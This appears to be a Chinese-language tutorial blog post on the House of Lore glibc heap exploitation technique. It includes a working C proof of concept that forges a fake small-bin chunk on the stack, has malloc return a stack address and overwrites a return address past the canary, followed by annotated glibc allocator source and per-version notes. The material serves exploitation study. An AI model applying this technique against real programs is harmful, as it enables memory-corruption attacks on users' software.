0%

House Of Lore-原理

House Of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关

  • House of Lore 可以实现 分配 任意指定位置的 chunk,从而修改任意地址的内存
  • House of Lore 利用的前提是需要控制 Small Bin Chunk 的bk指针,并且控制指定位置 chunk 的fd指针

House Of Lore 利用姿势

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk

案例:(Ubuntu 14.04.4 - 32bit - glibc-2.23)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0; /* presize */
stack_buffer_1[1] = 0; /* size */
stack_buffer_1[2] = victim_chunk; /* FD */

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; // chunk1->BK => chunk2->head
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // chunk2->FD => chunk1->head

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000); // 防止和topchunk合并
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(100);

fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

简单复述一下这个过程:

  • 首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个 fake chunk(fake chunk 为 stack_buffer_1,还需要一个 stack_buffer_2 来打掩护)
  • 为了绕过检测,设置 stack_buffer_1 的 BK 指针指向 stack_buffer_2,设置 stack_buffer_2 的 FD 指针指向 stack_buffer_1
  • 接下来先 malloc 一个chunk,防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中
  • 接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中
  • 在 victim chunk 的BK指针中写入fake chunk(small bin是基于BK,从后向前申请的)
  • 再次申请 victim chunk(同时 fake chunk 进入small bin),最后申请 fake chunk

利用条件:

  • 程序可修改 small bins 中 free chunk 的 bk 指针
  • 对应伪造 fake chunk 的区域有一定控制权(可以伪造 fakechunk->FD 为 victim_chunk)

关于 Small Bin 分配的利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (in_smallbin_range (nb))
// 检验需要分配的大小是不是smallbin大小
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
// 通过last函数查找到最后一个free chunk
{
bck = victim->bk; /* 漏洞点 */
if (__glibc_unlikely (bck->fd != victim))
// 检查 bck->fd 是不是 victim,防止伪造
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

漏洞的问题就在于bck = victim->bk,这句话将这个 chunk 的BK提取了出来,并且在之后使得bin->bk = bck ,这样的话BK指针所指向的 chunk 就被放入了 smallbin,之后的 malloc 就可以将其 malloc 出来了

版本对 House Of Lore 的影响

libc-2.23(只有上文提及的基础检查)

libc-2.27(只有上文提及的基础检查,但是需要绕过 cache)

1
if (__glibc_unlikely (bck->fd != victim))

检查 fakechunk->FD 是不是 victim_chunk

libc-2.31(House Of Lore 已经失效)